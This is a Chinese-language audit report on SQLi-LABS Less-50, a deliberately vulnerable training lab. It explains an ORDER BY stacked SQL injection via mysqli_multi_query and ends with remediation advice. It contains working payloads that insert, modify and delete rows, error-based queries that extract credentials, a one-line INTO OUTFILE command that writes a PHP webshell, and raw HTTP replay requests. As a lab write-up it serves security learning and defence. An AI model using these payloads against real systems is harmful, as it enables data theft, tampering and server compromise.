sqli-labs-Less-50-代码审计报告

11次阅读
没有评论

Less-50 代码审计报告:ORDER BY 数字型堆叠注入(mysqli_multi_query)

本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与 Less-50/index.php 实际文件一致。


1. 关卡概述

项目 内容
关卡名称 Less-50: ORDER BY Clause - Error based - Numeric - Stacked(堆叠)
源码路径 Less-50/index.php
漏洞类型 SQL 注入 – 堆叠注入(ORDER BY 子句)- 数字型,底层使用 mysqli_multi_query
注入点参数 GET /sqli-labs/Less-50/?sort=
报错/盲注 报错回显(失败时回显 mysqli_error());且支持多语句堆叠
所需环境 PHP 5.x + mysqli 扩展 + MySQL 5.x

2. 漏洞代码定位

文件: Less-50/index.php

// 第 13 行:引入 mysqli 连接
include("../sql-connections/sqli-connect.php");
// 第 14 行:关闭 PHP 报错
error_reporting(0);

// 第 15 行:直接取 GET 参数,未过滤
$id=$_GET['sort'];	

// 第 23 行:数字型直接拼接
$sql="SELECT * FROM users ORDER BY $id";
/* execute multi query */
// 第 25 行:关键——使用 mysqli_multi_query 执行,支持多语句堆叠
if (mysqli_multi_query($con1, $sql))
{
	...
}
// 第 69 行:失败时回显 mysqli_error
print_r(mysqli_error($con1));

关键漏洞点:

  • 第 15 行:$id=$_GET['sort']; 未过滤。
  • 第 23 行:ORDER BY $id 数字型拼接。
  • 第 25 行:mysqli_multi_query($con1, $sql) 允许一次发送多条 SQL(分号分隔),这是堆叠注入的根源。
  • 第 69 行:print_r(mysqli_error($con1)) 回显报错,报错注入亦可。

3. 漏洞分析

  • 输入来源:$_GET['sort'],未过滤。
  • SQL 拼接位置:ORDER BY $id;由于 mysqli_multi_query,$id 中可以注入分号 ; 再追加任意第二条 SQL。
  • 闭合方式:无引号(数字型)。
  • 堆叠注入:sort=1;INSERT INTO users(id,username,password) VALUES(99,'x','x')-- -,首条 SELECT 正常显示,第二条 INSERT 被执行,实现对数据库的写操作。
  • 报错注入:第 69 行回显 mysqli_error(),也可用 updatexml / extractvalue 带出数据。
  • 回显限制:第 42 行只 mysqli_store_result 取第一个结果集显示,堆叠的第二条 SELECT 结果不直接显示(需通过二次请求验证修改)。

4. 利用方式

步骤一:判断注入点

sort=1      → 正常
sort=1,2    → 正常
sort=1'     → 报错(说明是数字型,引号会报语法错)
sort=1;select 1-- -   → 无报错,说明多语句可执行

步骤二:堆叠注入写数据(核心 Payload)

-- 插入一条新用户(验证写入)
sort=1;insert into users(id,username,password) values(99,'x','x')-- -
-- 修改已有用户密码
sort=1;update users set password='hacked' where id=1-- -
-- 删除用户(谨慎)
sort=1;delete from users where id=99-- -

验证方式:完成写入后,再以 sort=1 正常请求查看表格;或到登录页(Less-24 使用同一 users 表)用修改后的账号登录。

步骤三:报错注入提取数据(备选,更快)

-- 爆当前库
sort=1 AND updatexml(1,concat(0x7e,(select database())),1)
-- 爆数据
sort=1 AND updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from security.users limit 0,1)),1)

预期报错:XPATH syntax error: '~security'。

步骤四:进阶

  • 结合堆叠可 load_file() 读文件、INTO OUTFILE 写 webshell(需 FILE 权限与 secure_file_priv 允许)。
  • 例如: sort=1;select '<?php system($_GET[0]);?>' into outfile '/var/www/html/shell.php'-- -

5. Yakit 重放数据包

堆叠 INSERT 报文:

GET /sqli-labs/Less-50/?sort=1;insert%20into%20users(id,username,password)%20values(99,'x','x')--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

报错注入报文:

GET /sqli-labs/Less-50/?sort=1%20AND%20updatexml(1,concat(0x7e,(select%20database())),1) HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: */*
Connection: close

说明:%20=空格、%27='、--%20-=-- -。


6. 修复建议

修复一(首选):排序字段白名单 + 禁止多语句

<?php
$allow = ['id', 'username', 'password'];
$sort  = isset($_GET['sort']) ? $_GET['sort'] : 'id';
if (!in_array($sort, $allow, true)) {
    $sort = 'id';
}
// 用单语句查询接口,禁止 mysqli_multi_query
$sql = "SELECT * FROM users ORDER BY $sort";
$result = mysqli_query($con1, $sql);

修复二:如确需动态排序,严格白名单正则

if (!preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', $sort)) {
    die('Invalid sort field');
}

修复三:纵深防御

  • 不要使用 mysqli_multi_query 执行用户可控输入拼接的 SQL。
  • 关闭 mysqli_error() 回显,统一错误处理。
  • 数据库账号最小权限:禁用 FILE 权限、secure_file_priv=NULL,连接账号仅授权所需库的 DML。
  • 升级 PHP 7+ / 8+,使用 PDO 预处理(参数绑定值;标识符用白名单)。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前需:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 环境需启用 mysqli 扩展。
正文完
 0